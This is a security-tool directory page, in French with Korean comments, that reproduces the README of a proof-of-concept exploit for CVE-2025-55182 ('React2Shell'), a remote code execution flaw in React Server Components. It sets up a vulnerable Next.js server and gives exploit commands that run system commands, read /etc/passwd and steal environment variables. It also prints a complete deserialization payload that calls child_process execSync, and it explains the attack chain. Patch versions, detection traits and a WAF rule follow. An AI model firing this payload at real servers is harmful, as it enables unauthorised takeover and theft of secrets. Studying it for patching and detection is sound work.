Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Exploit de preuve de concept pour CVE-2025-55182 (React2Shell), démontrant l'exécution de code à distance non authentifiée dans React Server Components via la désérialisation du protocole Flight. Inclut la configuration du serveur vulnérable et des scripts de détection. | Kitploit
Outils/GitHubGitHub/greenheadhq/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

Exploit de preuve de concept pour CVE-2025-55182 (React2Shell), démontrant l'exécution de code à distance non authentifiée dans React Server Components via la désérialisation du protocole Flight. Inclut la configuration du serveur vulnérable et des scripts de détection.

Voir le dépôt
113il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement PoC CVE-2025-55182 (React2Shell)

Avertissement : Ce projet doit être utilisé uniquement à des fins de recherche en sécurité et d'éducation. Utiliser ce projet sur des systèmes tiers sans autorisation est illégal.

Aperçu de la vulnérabilité

ÉlémentDétails
ID CVECVE-2025-55182
AliasReact2Shell
Score CVSS10.0 (Critique - sévérité maximale)
Type de vulnérabilitéExécution de code à distance non authentifiée (RCE)
DécouvreurLachlan Davidson
Date de divulgation3 décembre 2025

Versions affectées

Paquets React

  • react-server-dom-webpack : 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel : 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack : 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Structure du projet

CVE-2025-55182/
├── README.md                    # 이 파일
├── vulnerable-server/           # 취약한 Next.js 서버
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # 공격 PoC
│   ├── package.json
│   ├── poc.js                   # RCE 공격 스크립트
│   └── check-vulnerability.js   # 취약점 체크 스크립트
└── React2Shell-CVE-2025-55182-original-poc/  # 원본 PoC 참조

Démarrage rapide

1. Configuration et exécution du serveur vulnérable

# 의존성 설치
cd vulnerable-server
npm install

# 개발 모드로 서버 실행 (포트 3000)
npm run dev

Le serveur sera disponible sur http://localhost:3000.

2. Exécution du PoC d'attaque

Dans un nouveau terminal :

# 의존성 설치
cd exploit
npm install

# 취약점 체크
npm run check

# PoC 실행 (테스트 모드)
npm run exploit

Utilisation du PoC d'attaque

Test de base (console.log)

node poc.js -m test

Lancement de la calculatrice (preuve RCE classique)

# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Exécution de commandes système (RCE)

# id 명령 실행
node poc.js -t http://localhost:3000 -m rce -c "id"

# 파일 읽기
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# 시스템 정보
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Vol de variables d'environnement

node poc.js -t http://localhost:3000 -m env

Exécution de code personnalisé

node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Analyse technique

Cause racine de la vulnérabilité

Cela se produit lors de la désérialisation des données envoyées par le client dans le protocole Flight des React Server Components.

requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE

Chaîne d'attaque

  1. Déclenchement de la désérialisation $@x - Obtention d'une référence à l'objet Chunk
  2. Exploitation du chaînage de promesses - Injection d'un objet thenable possédant une méthode .then
  3. Ré-entrée dans le parseur avec un faux objet Chunk - Définition de status: resolved_model
  4. Construction de la chaîne de gadgets - Utilisation de _response, _formData, etc.
  5. Obtention du constructeur Function - $1:constructor:constructor
  6. Exécution de code arbitraire - Lancement de new Function(악성코드)

Structure de la charge utile (payload)

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Méthodes de correction

Mise à niveau de Next.js

# 15.0.x 사용자
npm install [email protected]

# 15.1.x 사용자
npm install [email protected]

# 15.2.x 사용자
npm install [email protected]

Mise à niveau des paquets React

npm install [email protected]
npm install [email protected]
npm install [email protected]

Méthodes de détection

Caractéristiques des requêtes HTTP

  • Requête POST
  • Présence de l'en-tête Next-Action
  • Format multipart/form-data
  • Présence de motifs tels que $@, resolved_model, constructor dans le corps

Exemple de règle WAF

# 의심스러운 Flight 페이로드 탐지
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

Références

  • Blog officiel de React
  • PoC original (Lachlan Davidson)
  • Analyse de Datadog Security Labs
  • Analyse de Wiz

Licence

Ce projet est fourni uniquement à des fins éducatives et de recherche. Toute utilisation à des fins malveillantes est interdite.


Attention : Si vous découvrez cette vulnérabilité dans un environnement réel, appliquez le correctif immédiatement. En cas d'attaque confirmée, signalez-la à l'équipe de sécurité et menez une enquête sur l'incident.

Télécharger l’outil